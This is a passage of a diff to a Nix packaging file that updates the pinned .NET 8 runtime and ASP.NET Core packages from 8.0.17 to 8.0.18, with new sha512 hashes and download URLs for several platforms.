+        hash = "sha512-5uEfyHLfmuox4HVbRjWk0aHmho+P9pLPqGwP314G34wC1JCSdQRynaOYO/B5Bo7zplC/dcn4lfqUsu2lcwwEoQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-FpLu/8+PcuX8fNcnCGDED2WWbrlNvV9dpiZ49e9rAcDBlYg9aoNBEGGP9HJ45uATmJW/V55BtNxGJKXucceAMQ==";
+        version = "8.0.18";
+        hash = "sha512-cIK2i/pIgNaFwDroeEWob/Va+c7dhxF2jnIfedlKA9jIG3EJG2q0OngmF92olvJeEkso7xeC/SfhtE+CMGIbBg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-uh9Xyw8G1nbUdmTUOeiDyn7LXBrEO3slJJwkRC19AqirVspWFWuDliiIj/GAStnF5EDYepgfgC2WeTr82hnQMg==";
+        version = "8.0.18";
+        hash = "sha512-WQ4mXlESm0RzOi1fZYWA6r99Ohh5kfliawZ6MAi7fR27PkORbA7+HtysPzMG7fFYv+L5n1JrUwj8lKhJpbz/Bg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-JXyOaJZcJQvu+UvZrLDeXY+QgpgMSqBGvL7oKDfvJazL9wKIJDA6A68v8RfSlLTyiO196XrV3XWNTbCC5CWtPQ==";
+        version = "8.0.18";
+        hash = "sha512-erO4wuYmgpHtKJPr24sdYCRGvI0mkaghPhnqo7sPf2gdS4l1J53PMYyfsn7cwirpt2FLsItSXOA8FI38YpBfTQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-Fkm//A57PJApgtg7jUySUGtz1arRGwXipRpl4lczOuol/hmKb6FL9eN6fYNYsU/LiA+xP0d72prlTyYEifRPHw==";
+        version = "8.0.18";
+        hash = "sha512-3kKyR0GwV5lxYI3I2H5P1FTdy7E/MXF1kzoPQpxSglQRxW1zG5ubmjFAXh2D8Mfw5MtUoyyzBc9Y+uvM/SAx5w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-AqkVaugZa6Tt4z+yeGqqlSlhDw4Q3gtPdXNFu05fLjAQi4zAvCccOpjMmwca41Zteiu9qGkfQwFDyO1LQXThMw==";
+        version = "8.0.18";
+        hash = "sha512-s597lp1X9QNObLRiQ1R+w+4VqkB1ozc6emWQxAdfA6/Jbkr2HUkuj+R70k7E4lRCFXYJiEUeeAv6DLV034kxnQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-ViTDLKPx1YPdbj1xTx6LSXLJ4y+LQKfbrqRNw4PN96i7dcRviRt60R7BKfV+sdsDOaQtYDhUr8/1CGPaa9SnDA==";
+        version = "8.0.18";
+        hash = "sha512-f9+1sbW1c9OFYLmtq+b2NuviSCVCEOCvFfVVJFEQ9kVg4aKVNwwnSqGHL39P8Y9Bo2j0lzCg9G46PXz8xeqrdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-tGoCDChhmw1PPPpWNYfo7tjJBy4NIRkgkCuSXPBUiLNcKmkeMAhA2N2MUvVKxhoayCL1K49clw2CDFG1YSDC4A==";
+        version = "8.0.18";
+        hash = "sha512-R3ycWivxbGaOXJOrWFgdDhvancCf3xcj3c2x71LHxzAwemQ2g42fmPQdnSfJrW5mlJLkZPkr3Fcy8z1pAVHO7g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-jSQpm6cwP9IbEc9/v2esVv2NJ7O21CklPxOjHSWvM6VcwH3/vAEy21wX+JOM3G4euTWCKxMxOTAU5bXL9fpV+g==";
+        version = "8.0.18";
+        hash = "sha512-nwpET4yJfVfBLZPPZTwXykwsGFmBIQeu2WhsnKSy51UMMua9RH7wdaThMhY9dHHyMeRniqji8wJElv6ykiuwPA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-ejOqr8hAO2d1Sxxkn9d+xiVLCeQ4fkBOyTEsgliMkFnrJaxFxdV+Q1I7RtoYWJH/DoseqVW5vn5CAgGnY7yPiQ==";
+        version = "8.0.18";
+        hash = "sha512-NaT6sx3MV6BjcrbbqPrUSv0sbLCOTvc+qVlQzHjdplFVbm5kfcWRa61uNeUztrzQy10IdAerP5Rt5oU9S7Xm0A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-twUxbIlZzPNoJx/nxQlx98TiW1JV6NnpHqvgQhGE3VloeEE5AiPUg+UVpKa42id/K3GEzOpQ8CGAnB+phyOhwg==";
+        version = "8.0.18";
+        hash = "sha512-RD0S5aqsIpkOcsADZhG6TODKt104AyCh2gMzhXOwby8iMOQT+rj/PbZQP2fz7fOfuvcOe2VSSX/zoYQUfOqpzA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-o/P+ZRj6LjjGJdaazlvz/ysRQumAUbrfOmXLQz17RExXc6Ikk7yQ3l7EJAuWO7U9LwlU5ubXs6uVqtKyv7vnHg==";
+        version = "8.0.18";
+        hash = "sha512-fDJDwEJojp8D6mNMy9HCH3dytuXssFGa9eMFXf1j9zDkLKTdAIoHO9hzgkFNBxdZII61TEt01PrYVbEk6U0AJQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-sNM9LGQom9BS5lEV9VQt3dTweI6q+2fgdfnjAaqmMCM2un4aKT8vNK3oegOEPhigBQp5GB7Z7+CgVBhYiLiEhQ==";
+        version = "8.0.18";
+        hash = "sha512-C8u1lKK0f/pL325CR27DQXXOtCIc3p+6yctd/GbaJY+G1vJvVBWknKlBmGBTzJaO0GlNxWKBG4b+Hb+WyRQPMQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-NvQn4WyGdNXAVaUYu30XY/XQqTWe65HGMDKNAxVsYbNUiNecXjE3ZhkiRyLa9HU4l+6n3ouNNzYHg1Z9MPukpQ==";
+        version = "8.0.18";
+        hash = "sha512-L0ukahE5lLisbMxyoxWCQBpKY117P1oFQgoZ1hQQtch9C57V+aE2NVZWlw3CS9qZbgXNQM1V82KufKeQZuDr0w==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-lsYscCD0qR6XsXqJrM4evxEB4qNSu5QEvH1mb6JK8iQN05kW05CYP9IfBBVzQR3+iik45gnwjUFrokNnl9LMig==";
+        version = "8.0.18";
+        hash = "sha512-v6qCvouvUtfA0DE4RNA3PrzogS4ONteXRY1fwGOSsLkl+KxPgqVdthRe3+gR2Lfvm9gTCotQ45apZtN40/lT/w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-A3RrznTiIIpaE04b1cNY6Bx3pEmAqa9ig9xwoUuAlH/brYtOuvo3JoehwVgpfZm7dzMblRPuvu1J9SVagyNEdw==";
+        version = "8.0.18";
+        hash = "sha512-m/4V22FwHydLgj8uxm6N+ppVNg9Kg7RoRkjwYoJjn0KtIPNUMCIRzIuu4none/69xsnin4f8b04WmWeFVwSyEw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-pvPS0TivFj3n6V+v0ivlhOc1HvkZnQBnnH6y9TZCw/nkkKjuTJpjS+x5xWHy4yLgdB64hfCpfc6g5578ib3OGg==";
+        version = "8.0.18";
+        hash = "sha512-GQEbT3ZAZ1U7e0D6ITED9vCmWJFrV0cmS4+SIahtgXi0TZCZJzEwYoykqOPo6RoAOnXhfCeuvkjc228TguaFTg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-X0Mt5TbPJlG6LzwHP/98DB+TqCwF5toyO40QLZiaWBWH8gdkXxZsnqSwHBixe7jEDB9knpUQs3nWvG1wf9YOCA==";
+        version = "8.0.18";
+        hash = "sha512-J/yYUDTa8pO11iHli+ABrIGtmy76Ku8I1zGslng16xgtlxZfX1bbemPDh4/2oV85h88ls0MAWfCb+kpcdsDCfQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-LtMIjhBaZld9EX8YChaTicl79vEo9ci+H+16xqWm6ksvYyx0vbameWRWXQ3i4KgUm/klwYkzGeKVzzll53itgw==";
+        version = "8.0.18";
+        hash = "sha512-dnpvnbwteEY5YMS5usz2NJsvhvYI9qjKGrGHDQ1uoYZg6N32k9kEPS1aSRyeDtlGkbb8Mn9k+fCseXnVOyAsNA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-qxknZ2pQrvLXxASaCeyy5Ox9rb27jzwh4DAu+I4pQRl7qSfBVmqLtoAtZ6tSBj6crAt8/5q7mW16Av2RejDk3g==";
+        version = "8.0.18";
+        hash = "sha512-gzBgLBbh8ZNmUtFiHa8I2fOOBkl1WiOC2iq8bYX/eVAd2n4h3wOxNG4+3tt1Ra1f58JbYASBG/sXqdMBliMI3A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-qWhils4j4HijPnFQHpmeOUudYMbX7BrYZedABWp3Ddsf5xoTLPSzUTssPFgrX5zhuI0eC+ACXQDCc3RRe16PZQ==";
+        version = "8.0.18";
+        hash = "sha512-Ddoy/MJj1S0xT09GAbrZnwSEUI7gQRcEOil3XaYA9pWnp8OXAi/of7GGZbbbD2HWGUtsSHmfmiRlRoXPhcFOEQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-b2jQNPpO8zaXgyvO6uG6ABXWO1qRYJvSiZWMXlxzAX2FCOR2AqfNiMbuJOscaqRyo1A5EZl/mKhNWbjvZ+Ie8g==";
+        version = "8.0.18";
+        hash = "sha512-ZWRx5vfKRPpQEzwJpaQ6MZQ7JW9y7Jj2MvjKfLmmwATzG7z4PHhmM9QsNygmSrqsF24hJVjdDhxGs6vEcPXA9Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-Gn4GGWnOSo9W/5GfgqwWEyZ1AwV6JVc4DBcq+IbPTZviND+0j5ZUJsF2xzPcgEYre8XYFR+tf4KqV2S+t9DRCw==";
+        version = "8.0.18";
+        hash = "sha512-E6fXd/FU8IHuPlyuv0cfvr+8q7QJe0uF6u5lxU2EsCd3Z6qKxXS97w0U9o7OdriEGBC6oiwyzVq25oLQDvrbog==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-9ef3DABF5Em5tOne761hyzBpUrOnWuucfONtUsxUWq2pZiGpk9AoaAOJxf766qdQWL1SQ0sJYRGhpJ7YfKX8Og==";
+        version = "8.0.18";
+        hash = "sha512-dA97YbdoMd1HlkZ6LISmioAJHhG9QlzGtVfaAYwLHvMFDvlulS3DXMmSR+fRrP3h+A9sNR5nflpkIJ4khotAbA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-E+7CArIcwuTmkSfCdZneueDRZy3pT77DDZXvwuIDTyojOrdGVlj4hzpqSzmqmTnr5Cg8uT34XxnYOH1cAQiljg==";
+        version = "8.0.18";
+        hash = "sha512-KWXB2BApvTlT4Osl1KrDTA6pVUdc7cYbWcLEA+MrcQzwq1az0aLtp7cBVvTHGae7Zq18CvxBrMTQcyXTY2RHEA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-X3/73Flriad7tsa6o4GXXG0JMz5M1gaJQ5wXatZk90P2Eg3uDLOnqb6upr0x2495gDI4aLPPmDRvaArZoA3w+w==";
+        version = "8.0.18";
+        hash = "sha512-3eBkAXIr+RBbCEMZJGU0S6Owg2XFaDC6fpNENWG+0wBrw7lpLNqTUUtcTY7xA1IHLD4p0ffYc14QauObnL+mzg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-1/aUPzhPQ/bKVm5NoP4dNfc9B/C3eqRu+gv6bLroPxiS1JjHKL/iG4aPeFP/Gr0zt546bKd56Ac9t0S+ZpgjeA==";
+        version = "8.0.18";
+        hash = "sha512-NQrl3gWAuxIvq6Me5taCyOrGSjldQg4WGcmXiS4qnh/js+GvpG77XUNltfzWy7EamgCjjYIi3S6fHsxntxsMXw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-u+V7Vazc9T1yrKkAtGgCaVrm7777F//PpYlXlKi8LCEMmzsjgTqXDv+96blOjqNfFFG5nDH7Wrfy/EuNxbggEQ==";
+        version = "8.0.18";
+        hash = "sha512-KVwSnqrat6U8XT/aWXBwUlQB5uwJTwGV6TX0P3BPfMb01B99QvX0wuw/Rf57WSrjvlT5oG9gBFClBt2jIh3s/w==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-it7TtIOtYcV5XwMQKpIsD1mKrqUimH4VK7uJct4sCZGjxfgrhf07l/yI91A11WVJubQHK5cq7KeCirqGoEtAsg==";
+        version = "8.0.18";
+        hash = "sha512-ziuMoQo2E6qi8vRnire+pGCVES3HCxEVSE0ExXHeHdf20rQzO6Xv40Dm+bfDNvMzJLU9WDRDJ8OgULiB9XYn/g==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.17";
-        hash = "sha512-hCDJrREXgVISf2dXVj9+0NGUYr/Hk6HH0pE75ubOaQO42n7gH1EyuhF7fgMKVCjhnYblRML6WKuVDIbkJoUbtg==";
+        version = "8.0.18";
+        hash = "sha512-0E2hSPVKTdkeBHMpeRHYV45C1Vm5UppTb/YX6OV3y7sB7U9tTHRu6soC50Hnxv7013Umzle8g1dqFWzGFa/5PQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.17";
-        hash = "sha512-FqJc/4qewgmg/1yamy4kyTvTntC1e+qN92mN1co8BT163ZkWV9RtGgvgb/yD+0th3/nOEb+xcu7EVNNxzTJZLA==";
+        version = "8.0.18";
+        hash = "sha512-tLz7EUFrCQq0obc2bVv7Qm0OLQYA9gAM9NUEGx3N1wtQ6+0yQg+Sy7UIa0LWCj28JBw7QU7yH3JaUWfVVtzwTg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.17";
-        hash = "sha512-0j8M6HzQLzZPvWl0TM0VlsWVtMGrKNrLPgmOcu8vXz4QoMq4A2y2md3cmdpX5PatjcEwKRib3pg0iGVyrefDgw==";
+        version = "8.0.18";
+        hash = "sha512-Txko4ZcsHAiOF+o4uYuUWjkP42/abwYmhRPh5h0k7WiwpQ5InU6vuqvub0aBj9Tbgc7ULOZXYxwhqSsyT80x8g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-yQVr2/oC7L2zGbX4zG7z0cclJb1YALFciH3U8zc/eS0Ta4CmAXREmeTT2JaqY7U9hAEz8f8TzzX+JtB6W7PADw==";
+        version = "8.0.18";
+        hash = "sha512-5IMZXp65TGVCv5cWzE+sa4DjOZ7lxDb3/ojumL7dqtZTKXBXxDKKEXWXQXkndJduTbTWLxEOJ3qNZK9oZRkLEA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-vVJFuE0gTSWBpZr3Qx6EitWtvIXW5BMyorvOSmOV14laSaGuhrddbz1OtbQ2qTOw2++z2AoIIRzKNiyDZ54jLA==";
+        version = "8.0.18";
+        hash = "sha512-OQa/DFd2MfWgVP6ffNY8LPptJUgd5cIa85WWF5vvzQu3N7b6ZHodf0FugfXrzr/OE1tNVXc2MgNE6gYu+cuVTQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-piZCbDE18Ca9OjU365hOClMWArbcXmj5Qk7oXE/4pXY2Mrdoo9R6IKQo9QT5rZ7qOO25W2X49fC2NCpt9WR1Cg==";
+        version = "8.0.18";
+        hash = "sha512-ymW//M4dvkpsR2olamF7EDdXA8ssjIQGKDopMVM9SU4piAiFKzrk58OcJzMU5+r0R10ClZWg7UR5BCYVe9apDw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-e77ZoQafeMCWXiQ4pqeWAS969lzHjTO/Nl0ISpmItUBXdSkrOaThpWew4hp2AuS98U3wv7yAb2snPOOBkRRuwQ==";
+        version = "8.0.18";
+        hash = "sha512-dGZg9b54bEc3VTiYB/2kQvSjEIs/Q9zAhbRqI453gl/O1alVglJ8c4Ui6LFTVwrGgcZO5PLGvXHa4m6NrOeu2A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.17";
-        hash = "sha512-gw2FwvqE1xSNnFdCQ1PE1AZjdjmwi8Qo3trC+xfnfHy89/ljYXbkoyeIQR7irDllbJwlmI4gAKbwHFXYLO7I9Q==";
+        version = "8.0.18";
+        hash = "sha512-+rw1VG6eVUjppOeH/9JPaNwtjm/nEAZFrRTWjcNkvWalG7yeTuhNeyuc77WYvc4I87yJBOvLB/dI2/QYNDIssA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.17";
-        hash = "sha512-4+mkaFTIo0hySyHps1L8jaeHS7otI51G3J2Jwy9hYY2tGlYCRmYJm75KjMCgFjaijuAuv90xRME5bxSw3JIzRQ==";
+        version = "8.0.18";
+        hash = "sha512-iE4MEnboqeUM4A/hd0jAvTGO50j+gziJqszz9PUhF4f3VgsUH80H78MEhYU34BsF3gBuKMMW3luywrPws9vCeA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.17";
-        hash = "sha512-V5rRhz0of2jLYzhsNtABdw1ZhRjN9EcDeFzX4baN9eWrgR6IIt+pq5SCpPMm+qQJLH1IZDoS6ZwmcBVTs3aGWw==";
+        version = "8.0.18";
+        hash = "sha512-FT0tpzuEiQxsi5zyNILgW9rcmoI+KzvFtzEHtxha7X+WYTuVTOHD+itYUT1gpEgECHgPonkD9FUSjNfWPLEvPA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.17";
-        hash = "sha512-DVkgTu0W/491HH++XjvPJh+tbGjHS/NAqEyyFNZtcepvskdQG3tiazPvBrKAhe5HfO6xCY65TykNy4znepkXyA==";
+        version = "8.0.18";
+        hash = "sha512-lRBru61Iknwa479ALoKT5S2ra5F/LbFrp4i7BZFwBltB5NAA1AVF7rTxlWaAyZ0wpypr8EsyCWepUnzg62ewlw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-IN34IGuBDaTS0V10Ny52Fw+Fit4+onsnfceySIYoNH5p60jEMGbyXXMIQrhqvw4eIlaIKOTNwSo7cmvAcz7N9Q==";
+        version = "8.0.18";
+        hash = "sha512-ypgDsw9Edi/5pooVknF1KuQztaFe0vxAXoGqPeyqSJyzgjEy+VDsiFOwQ3jVAo708H52Bde3ep31mGFmKPwl6Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-izNgoKUSHtsl4N2J1L0WjaclTj1myk43zFIKie+y/+0uYDJ2QQL+pL9c1pOpHs/FKXDySLt8b3jtj1mOgcHEvA==";
+        version = "8.0.18";
+        hash = "sha512-ZbjYmXt0IS5AfsxnsZ6tLT5mgV17N3ooOKXzVluwuEnQhxioH/6Qo6Dd6ou6bQiUvALia/lyXDOX0PwrzFgz6g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-0FgjD+98nDYlSqXqP1Emka7T7LfpvSrYz1ag/fBBpVqZmmekpV1BM1rXQKDB6ruSkmmkMn41UD4MrvXykzYmZA==";
+        version = "8.0.18";
+        hash = "sha512-AhPxu82INmXyVO2hlWUpfiZbREsnHzTZrGfpyOU155loE9YgOuP9WEB4SgRLMtgpj/1ltBnUkIYedpM6jT9wjQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-gCqz7CcfeAP87TsYVTc58vmINB8CY4KSG/pLiWycqrIZHmsdgw6olcCe/xbcm2N1mSMaD9pfMMkAI9nHDn36RQ==";
+        version = "8.0.18";
+        hash = "sha512-c+yHxGyXN312TLyqPLiCE2LuRl2HeZ3Z37b2drwKgy6WEbuzKR4/hhsa26ABQqb05HRe0OKYcE6inS0qyNRoBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.17";
-        hash = "sha512-YEx7Me3MPRkXTNcIJ6ROh6lxN0f9V3zc21Gna0UzlImMYtL74qdCSnpV3ztLGuDMKJZYYQmCbpVb5kmxxSMIGw==";
+        version = "8.0.18";
+        hash = "sha512-nNz4TK0BsQA75HnRAfhoaelmRE96RmzD1Hk6ysRXEuAWm/cLQOHaY9Urrlb+cKw/4m5AR8OplEwlYhAKRQnXDw==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.17";
+  release_8_0 = "8.0.18";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.17";
+    version = "8.0.18";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm.tar.gz";
-        hash = "sha512-EwhWW7qG+JHlwU/iKVzJ57jgxygwyPqy1qDVkd6WZ9jEV4RaUPZvBdMhik0rHdQ7CK44ENhnLFpaN4n0bssY1Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm.tar.gz";
+        hash = "sha512-HCLFwQNsUTYWZa/7cVTiSK7uvDYegM8C0uSrJ/e+jhn7TKHmn0OiuWGtx72QBW9vtWrrbrUHqHpBv7plPT8A8g==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm64.tar.gz";
-        hash = "sha512-TxpEHkALYPgUoWHScYwlmbTUkv/+XfWl2KSUzsVTrTV0wJiOncSav4ySi56Xg6hvVQbLy98S0k5WIJCWms7TxQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm64.tar.gz";
+        hash = "sha512-mXzjYYBQP71N2G7UO1M/YYvh23zxcPUA0NEviZrf8i5bdxSUKqJRPuzmwSIkdhwUP7yR1ul9g8zK7YqBHrzYNQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-x64.tar.gz";
-        hash = "sha512-spLepS9wA1u3zMgsHtkI+whHU+sI9mLHuy6SBuIvOWqmEdtlc+gn1cXP8hWQgQtm6uDq2bU0vD+PxpX2X0fyjw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-x64.tar.gz";
+        hash = "sha512-iW6cq3w+pThMF05+LP+uPH+PntXW0rdDS1orDcPwK2Ef+GaPXXDAs1ampdhaKP5AdWzzVrFo0DBjcNoRZGtLIw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm.tar.gz";
-        hash = "sha512-DEsWquOo/z751KXI3qM7mw/rS2x2dFhB7Npyhj7BZvGm1VnhArdELf/B/yLIpVzn7jrXsV8MdWJRVruTGP6UWQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm.tar.gz";
+        hash = "sha512-yneAoDyatUgLn5KqnkkUgsrxnhiMO28lXlVRiSM6cZdOWNl+lJs7nSExrxaHAvF/WSkFRdoNk4Wy26xBDfdzTg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm64.tar.gz";
-        hash = "sha512-6eyDEAZZUCxhFJn5JL/EdMLmSRtRjtaXOZGcCXp5m+57Sk3SPtsfDnho+86RmOSx0WVF7FFEpVuYIMFmWw3Phw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm64.tar.gz";
+        hash = "sha512-5qVB3jfi9HUAMABd5HW+7T45RPFfzYeKIUFvC5Un/OoUJKEhRWTqltm5S90zfgsAm38NMXBBBtLLiiMHNJUWZg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-x64.tar.gz";
-        hash = "sha512-o1QPicloU1OO4RQUWsmZHyIr6JFbgDlBkYFP2qvvOrwjXWBXmfo3WWLAkJrwOz0L8ax2A0LFZhQNkU9/cGaSvg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-x64.tar.gz";
+        hash = "sha512-ZwfiXAuiV0K2j915SJftmKl9PPDEf/Milh8eP66L6YMiDpMLK8l065DGdJ0SzHYWbyq+Ry4LxEkhOK0RlN3TMg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-arm64.tar.gz";
-        hash = "sha512-eBdKcYFy/lGNAEo8H+/L7HMe32jip3dMb6lRIwgRUvLJUe/mxhStnB+RWJfAl43GD+ecn5tuw+KKHpBQ94U2fg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-arm64.tar.gz";
+        hash = "sha512-T8pecG6i7B8GIt3a8SB3axtvL4XaxP8lyeUgPXWevE05Gk8Zc8EWYHhQJZzWPM4LtlRMuldSvZYq7BX3cQlhww==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-x64.tar.gz";
-        hash = "sha512-P1koY2bq198GFJUHuMHHkE5hSg+U2P8SjRrAS55LL6owje62extXbEA5HNWSaTYXuwVIoUQft8VeF6dFb3nHnQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-x64.tar.gz";
+        hash = "sha512-xSIM7l7VpquZ24ec3HaxTRORBBNBwbIgRXCCBVDgwRkqo7/g4pU4OmkvZmbYXoYsZuWfF0fTynBOfhp/0Qx7RA==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.17";
+    version = "8.0.18";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm.tar.gz";
-        hash = "sha512-u2G7Xl3rf7wDDAh/2mA738EqgzP7QK6752Df1cSkmkoSsqYDqhzhb2ZgZNb5OuwS/hb3E240tPXheX4Yc5hPXA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm.tar.gz";
